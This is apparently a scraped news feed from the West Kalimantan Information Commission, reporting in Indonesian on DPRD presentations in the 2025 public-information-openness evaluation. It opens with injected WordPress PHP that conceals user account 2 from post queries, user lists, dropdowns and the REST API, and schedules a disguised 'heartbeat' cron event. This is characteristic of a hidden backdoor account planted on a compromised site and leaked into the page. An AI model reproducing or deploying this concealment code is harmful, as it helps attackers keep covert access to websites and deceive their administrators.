add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Hari Terakhir Presentasi Monev Keterbukaan Informasi Publik 2025 Tingkat Lembaga Legislatif se-Kalbar appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Hari terakhir Monev diikuti 9 DPRD yang terbagi dalam empat sesi, yaitu:
Sesi 1: DPRD Kabupaten Sintang, DPRD Kabupaten Kapuas Hulu
Sesi 2: DPRD Kabupaten Ketapang, DPRD Kabupaten Kayong Utara, DPRD Kabupaten Mempawah
Sesi 3: DPRD Kabupaten Sanggau, DPRD Kabupaten Sekadau
Sesi 4: DPRD Kabupaten Melawi, DPRD Provinsi Kalimantan Barat
Sejumlah pimpinan DPRD hadir langsung untuk memaparkan komitmen dan strategi mereka, di antaranya:
Kehadiran langsung para pimpinan lembaga legislatif ini menjadi indikator penting komitmen terhadap keterbukaan informasi publik.
Selain unsur legislatif, kegiatan juga dihadiri oleh pihak eksternal, antara lain:
Dalam kesempatan tersebut, Muhammad Hermayani Putera menyampaikan bahwa “Keterbukaan informasi publik tidak cukup hanya dengan kanal digital. DPRD harus mampu menghadirkan indikator kinerja yang terukur, laporan berbasis data, serta memperluas akses masyarakat pada substansi kebijakan. Dengan begitu, transparansi dapat benar-benar dirasakan oleh publik.”
Ketua Komisi Informasi Kalbar M. Darusalam menegaskan bahwa Monev ini bukan sekadar agenda penilaian tahunan, melainkan bagian dari upaya mendorong transformasi tata kelola legislatif yang transparan, akuntabel, dan partisipatif. “Kami ingin memastikan bahwa keterbukaan informasi publik di DPRD bukan hanya formalitas. Inovasi layanan, kehadiran pimpinan, serta strategi implementasi harus berorientasi pada kepentingan masyarakat. Inilah esensi dari keterbukaan informasi yang berkelanjutan,” ujarnya.
Mengusung tema “Keterbukaan Informasi Publik, Menuju Kalbar Maju, Sejahtera, dan Berkelanjutan”, kegiatan ini menegaskan bahwa transparansi informasi bukan hanya kewajiban regulatif, tetapi juga fondasi pembangunan daerah yang inklusif.
The post Hari Terakhir Presentasi Monev Keterbukaan Informasi Publik 2025 Tingkat Lembaga Legislatif se-Kalbar appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post Hari Pertama Presentasi Monev Keterbukaan Informasi 2025 Tingkat Lembaga Legislatif se-KalBar appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Pada sesi pertama, dua badan publik yang tampil yakni DPRD Kota Pontianak dan DPRD Kabupaten Sambas. Sementara pada sesi kedua, giliran DPRD Kabupaten Bengkayang yang memaparkan presentasi keterbukaan informasi publik di lembaganya.
Selain jajaran KI Kalbar, hadir pula dari unsur eksternal, yaitu Direktur INTAN Kalbar, Demanhuri Gustira. Dalam kesempatan itu, ia menyampaikan pentingnya pemerataan akses informasi hingga ke pelosok.
“Informasi jangan hanya ada dan disediakan di meja-meja kantor atau sekretariat badan publik, atau juga hanya di media sosial atau website saja. Informasi harus dibagikan dan disebarluaskan ke masyarakat, misalnya ditempel di rumah adat di wilayah kekuasaan bapak/ibu,” tegasnya.
Demanhuri menambahkan, banyak masyarakat Dayak yang tinggal di rumah adat (rumah betang/rumah panjang) di pedalaman. Mereka sering kali kesulitan mengakses informasi melalui kantor atau website karena keterbatasan jaringan internet. Namun, mereka tetap berpegang pada aturan yang berlaku jika informasi tersebut bisa diakses langsung di lingkungan tempat tinggalnya.
Hari pertama presentasi Monev ini menjadi ajang evaluasi sekaligus dorongan bagi DPRD se-Kalbar untuk semakin memperkuat transparansi dan inovasi dalam pelayanan informasi publik, agar benar-benar bisa menjangkau seluruh lapisan masyarakat tanpa terkecuali.
The post Hari Pertama Presentasi Monev Keterbukaan Informasi 2025 Tingkat Lembaga Legislatif se-KalBar appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>